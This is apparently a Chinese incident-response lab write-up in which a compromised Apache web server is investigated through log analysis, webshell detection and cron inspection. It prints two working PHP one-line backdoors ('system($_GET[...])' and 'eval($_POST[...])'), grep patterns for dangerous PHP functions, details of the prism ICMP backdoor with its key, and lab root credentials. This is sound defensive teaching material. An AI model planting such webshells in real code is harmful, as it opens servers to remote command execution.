13 應(yīng)急響應(yīng)案例3)
任務(wù)13 應(yīng)急響應(yīng)案例31.事件背景A集團的WebServer服務(wù)器被黑客入侵該服務(wù)器的Web應(yīng)用系統(tǒng)被上傳惡意軟件系統(tǒng)文件被惡意軟件破壞您的團隊需要幫助該公司追蹤此網(wǎng)絡(luò)攻擊的來源在服務(wù)器上進行全面的檢查包括日志信息、進程信息、系統(tǒng)文件、惡意文件等從而分析黑客的攻擊行為發(fā)現(xiàn)系統(tǒng)中的漏洞并對發(fā)現(xiàn)的漏洞進行修復(fù)。下載鏈接 https://pan.baidu.com/s/1Upr1e4ZagIY0CGzbZ73bbg?pwdsqjd用戶名密碼root 1234562.應(yīng)急響應(yīng)過程2.1攻擊者追蹤與識別2.1.1攻擊者 IP 地址識別可以從名為 access.log.1 的訪問日志中提取IP地址并統(tǒng)計每個IP地址出現(xiàn)的次數(shù)。這樣的命令輸出會顯示每個IP地址的出現(xiàn)次數(shù)幫助我們識別攻擊者的IP地址。從 access.log.1 的訪問日志中提取IP地址是因為通常服務(wù)器的訪問日志會根據(jù)日期或者大小進行輪轉(zhuǎn)例如access.log、access.log.1、access.log.2等其中 .1 文件通常代表前一天或前一段時間的訪問記錄。因此我們可以通過分析這些訪問日志文件了解過去一段時間內(nèi)服務(wù)器上的訪問情況從而更好地識別攻擊者的IP地址。cd /var/log/apache2awk -F {print $1} access.log.1 | sort | uniq -c根據(jù)提供的結(jié)果出現(xiàn)次數(shù)最多的IP地址是 192.168.1.7共出現(xiàn)了9051次。因此根據(jù)這個結(jié)果我們可以推斷攻擊者的IP地址是 192.168.1.7.2.1.2攻擊者操作系統(tǒng)識別然后我們還可以從 access.log.1 的訪問日志中篩選出所有包含IP地址為 192.168.1.7 的記錄并且通過grep命令進一步篩選出其中包含 windows 或 linux 關(guān)鍵詞的記錄。通過執(zhí)行這個命令我們可以識別攻擊者使用的操作系統(tǒng)類型從而更好地了解攻擊者的特征和行為。cat access.log.1 | grep 192.168.1.7 | grep -i windows\|linux根據(jù)提供的訪問日志我們可以確認攻擊者使用的操作系統(tǒng)是 Linux。這是通過日志中的用戶代理字符串User-Agent字段顯示了 Mozilla Firefox 瀏覽器在 Linux 系統(tǒng)上的運行。2.2攻擊行為分析與確認2.2.1掃描工具識別我們可以從名為 access.log.1 的訪問日志中提取出用戶代理User-Agent字段并統(tǒng)計每個不同的用戶代理出現(xiàn)的次數(shù)。這個命令輸出的結(jié)果可以幫助我們識別攻擊者資產(chǎn)收集所使用的平臺即攻擊者使用的是什么類型的設(shè)備或者工具來訪問網(wǎng)站。awk -F {print $(NF-0)} access.log.1 | sort | uniq -c根據(jù)提供的查詢結(jié)果我們可以得出以下結(jié)論攻擊者資產(chǎn)收集平臺主要是使用名為 DIRSEARCH 的工具出現(xiàn)了8994次。還發(fā)現(xiàn)了少量使用其他工具或者平臺的請求如 python-requests/2.23.02次和 .NET4.0E)104次。此外還有一些來自常見的網(wǎng)絡(luò)瀏覽器的請求如 Firefox/68.055次和 Safari/537.36108次。綜合來看主要的攻擊者資產(chǎn)收集平臺是 DIRSEARCH 工具。2.2.2首次攻擊成功的時間因為搜索 whoami 是一種常見的技術(shù)手段因為攻擊者可能會在成功入侵系統(tǒng)后嘗試執(zhí)行這樣的命令來獲取當前用戶的權(quán)限信息。當系統(tǒng)被入侵后攻擊者通常會嘗試執(zhí)行一些特定的命令來探測系統(tǒng)的配置和權(quán)限并且 whoami 命令是其中之一用于獲取當前登錄用戶的身份信息。因此通過搜索 whoami 可能會發(fā)現(xiàn)攻擊者成功入侵系統(tǒng)并執(zhí)行命令的痕跡從而確定攻擊者首次成功攻擊的時間。所以我們可以在名為 access.log.1 的訪問日志中查找包含 whoami 字符串的記錄并且使用 -C 5 參數(shù)來顯示匹配行的前后各5行這樣我們可以查看到攻擊者首次攻擊成功的時間以及周圍的相關(guān)日志信息。grep -a whoami -C 5 access.log.1根據(jù)提供的結(jié)果我們可以得出以下結(jié)論攻擊者首次成功攻擊的時間是 2022年4月24日 15:26:50 (GMT)這是通過分析日志中的時間戳得出的。2.2.3惡意后門文件發(fā)現(xiàn)通過執(zhí)行以下命令find / -name *.php | xargs grep system(\$_\|eval(\$_我們可以在服務(wù)器文件系統(tǒng)中搜索所有以 .php 結(jié)尾的文件并使用 grep 命令來查找其中包含 system(\$_ 或 eval(\$_ 字符串的文件。這樣的命令可以幫助我們發(fā)現(xiàn)惡意后門文件因為這些字符串通常被攻擊者用于執(zhí)行系統(tǒng)命令或者動態(tài)執(zhí)行 PHP 代碼從而實現(xiàn)對系統(tǒng)的控制。find / -name *.php | xargs grep system(\$_\|eval(\$_命令詳解、風險說明、優(yōu)化寫法、原理講解一、原命令拆解find / -name *.php | xargs grep system(\$_\|eval(\$_1.分段解析find / -name *.php從**根目錄/**全局遞歸查找所有后綴為.php的文件缺點會遍歷系統(tǒng)所有目錄包含/proc、/dev、掛載磁盤掃描極慢、大量無效文件、易出現(xiàn)權(quán)限報錯。| xargs grep system(\$_\|eval(\$_管道把find查到的文件列表傳給xargs批量用grep檢索文件內(nèi)容正則匹配system($_或eval($_作用查找PHP木馬常用高危函數(shù)排查一句話木馬、后門。2.正則說明system(\$_\|eval(\$_\$轉(zhuǎn)義是變量符號不加轉(zhuǎn)義會被shell解析\|grep基礎(chǔ)正則的或目標特征system($_直接調(diào)用系統(tǒng)命令執(zhí)行eval($_動態(tài)執(zhí)行PHP代碼一句話木馬最常見特征二、原命令3個明顯缺陷grep默認基礎(chǔ)正則寫法容錯差基礎(chǔ)正則中括號、豎線需要大量轉(zhuǎn)義極易匹配失敗無處理空格文件名文件名含空格、換行時xargs會把一個文件拆成多個參數(shù)命令報錯、漏掃find全局掃描冗余/proc、/sys、/dev、掛載U盤等沒必要掃描耗時巨大無權(quán)限抑制大量Permission denied刷屏干擾木馬結(jié)果查看。三、優(yōu)化穩(wěn)定版命令推薦Linux排查PHP木馬常用版本1基礎(chǔ)安全標準版最常用find / -type f -name *.php ! -path /proc/* ! -path /sys/* ! -path /dev/* 2/dev/null | xargs -0 grep -lE system\(\$_|eval\(\$_版本2徹底兼容空格文件名零報錯find / -type f -name *.php ! -path /proc/* ! -path /sys/* ! -path /dev/* 2/dev/null -print0 | xargs -0 grep -lE system\(\$_|eval\(\$_關(guān)鍵優(yōu)化點說明-type f只匹配普通文件排除文件夾、軟鏈接! -path xxx排除虛擬系統(tǒng)目錄提速2/dev/null丟棄權(quán)限不足的錯誤日志-print0xargs -0以空字符分隔文件名完美兼容帶空格、特殊符號的文件名grep -E啟用擴展正則無需大量轉(zhuǎn)義可讀性更強grep -l只輸出匹配到的文件名不輸出文本內(nèi)容方便定位木馬文件四、拓展常用木馬檢索正則補充更多后門特征排查更全面的PHP后門可使用下面正則# 匹配 system、eval、assert、exec、shell_exec、passthru 高危函數(shù) grep -lE system\(\$_|eval\(\$_|assert\(\$_|exec\(\$_|shell_exec\(|passthru\(五、補充實用小技巧只掃描網(wǎng)站目錄如網(wǎng)站放在/www/wwwroot替換路徑速度大幅提升find /www/wwwroot -type f -name *.php -print0 | xargs -0 grep -lE system\(\$_|eval\(\$_查看匹配到的具體惡意代碼行去掉-l參數(shù)find /www/wwwroot -type f -name *.php -print0 | xargs -0 grep -nE system\(\$_|eval\(\$_-n會顯示代碼所在行號方便編輯刪除后門。六、安全提醒該命令僅初步篩查加密變形木馬base64、字符串拆分、回調(diào)函數(shù)繞過無法檢出查到可疑文件后不要直接刪除建議備份、溯源上傳時間、權(quán)限、進程服務(wù)器發(fā)現(xiàn)大量PHP后門大概率存在文件上傳漏洞、弱密碼、SQL注入需要整體漏洞排查加固。rootwebserver:/var/log/apache2# find / -name *.php | xargs grep system(\$_\|eval(\$_ /var/www/html/data/avatar/1.php:?php system($_GET[2022]);? /var/www/html/footer.php:eval($_POST[catchmeifyoucan])根據(jù)提供的結(jié)果我們可以得出以下結(jié)論發(fā)現(xiàn)了兩個惡意后門文件1. /var/www/html/data/avatar/1.php 文件中存在 ?php system($_GET[2022]);?這表示該文件允許通過 HTTP GET 請求執(zhí)行系統(tǒng)命令。2. /var/www/html/footer.php 文件中存在 eval($_POST[catchmeifyoucan])這表示該文件允許通過 HTTP POST 請求動態(tài)執(zhí)行 PHP 代碼。這兩個文件都具有惡意后門的特征可能被攻擊者用來遠程執(zhí)行命令或者操控服務(wù)器。因此我們應(yīng)當立即清除這些文件并加強系統(tǒng)的安全措施。2.3惡意程序識別與處理2.3.1惡意程序文件發(fā)現(xiàn)通過執(zhí)行 crontab -l 命令可以列出當前用戶的 cron 任務(wù)列表其中包括定時執(zhí)行的任務(wù)。這些任務(wù)可能是系統(tǒng)維護任務(wù)也可能是惡意程序設(shè)置的定時任務(wù)。因此通過檢查 cron 任務(wù)列表我們可以識別是否存在惡意程序進程的定時執(zhí)行任務(wù)從而及時采取必要的安全措施來防范潛在的風險。根據(jù)提供的結(jié)果我們可以得出以下結(jié)論發(fā)現(xiàn)了一個惡意定時任務(wù)其中包含命令 cd /root/.mal/;./prism。這個任務(wù)在系統(tǒng)啟動時 (reboot) 會將工作目錄切換到 /root/.mal/然后執(zhí)行 prism 程序。這表明可能存在惡意程序 prism它可能會在系統(tǒng)啟動時被執(zhí)行因此需要進一步調(diào)查和處理。2.3.2惡意文件的行為描述首先cd到文件所在目錄cd /root/.mal 然后運行./prism Inf0來查看文件運行行為根據(jù)提供的結(jié)果我們可以得出以下分析和結(jié)論- Version: 0.5: 惡意文件的版本號是 0.5。這可能是惡意文件的版本信息用于標識惡意文件的版本。- Mode: icmp: 惡意文件的工作模式是 ICMP。這表明惡意文件可能會利用 ICMP 協(xié)議進行通信或者執(zhí)行某些與 ICMP 相關(guān)的操作。- Key: p4ssw0rd: 惡意文件的密鑰是 p4ssw0rd。這可能是用于身份驗證或者加密通信的密鑰用于訪問或者操控受感染系統(tǒng)。- Shell: /bin/sh: 惡意文件指定了一個 shell 的路徑為 /bin/sh。這表明惡意文件可能會執(zhí)行一些系統(tǒng)命令或者 shell 腳本來執(zhí)行其功能。- Detach: Yes: 惡意文件設(shè)置了 Detach 為 Yes。這表示惡意文件在運行時可能會分離或者脫離控制終端繼續(xù)在后臺執(zhí)行。- Flush Iptables: No: 惡意文件設(shè)置了 Flush Iptables 為 No。這表示惡意文件可能不會清空 iptables 規(guī)則因此可能會繞過防火墻的檢測。綜上所述根據(jù)這些信息我們可以推斷出惡意文件的一般行為是利用 ICMP 協(xié)議進行通信或者執(zhí)行某些 ICMP 相關(guān)的操作使用密鑰 p4ssw0rd 進行身份驗證或者加密通信并且可能會執(zhí)行一些系統(tǒng)命令或者 shell 腳本來執(zhí)行其功能。同時它可能會在后臺運行并且繞過防火墻的檢測。3.結(jié)論根據(jù)以上分析結(jié)果我們可以得出結(jié)論該攻擊事件是由 IP 地址為 192.168.1.7 的 Linux 系統(tǒng)用戶發(fā)起的。攻擊者利用名為 DIRSEARCH 的目錄掃描工具對目標系統(tǒng)進行了偵察并在 2022年4月24日 15:26:50 (GMT) 成功入侵系統(tǒng)。進一步分析發(fā)現(xiàn)攻擊者在網(wǎng)站中植入了惡意后門文件其中包括可以執(zhí)行系統(tǒng)命令的 PHP 文件和可以動態(tài)執(zhí)行 PHP 代碼的文件。并且還留下了定時啟動的惡意程序惡意文件的版本號為 0.5工作模式是 ICMP。它使用密鑰 p4ssw0rd 進行身份驗證或者加密通信。惡意文件在運行時可能會分離或者脫離控制終端繼續(xù)在后臺執(zhí)行。它可能會執(zhí)行一些系統(tǒng)命令或者 shell 腳本來執(zhí)行其功能。另外惡意文件設(shè)置了不清空 iptables 規(guī)則因此可能會繞過防火墻的檢測。為了防止進一步的損害我們應(yīng)立即清除惡意文件并加強系統(tǒng)的安全防護措施。同時對系統(tǒng)進行全面審查以確認是否存在其他潛在的惡意活動。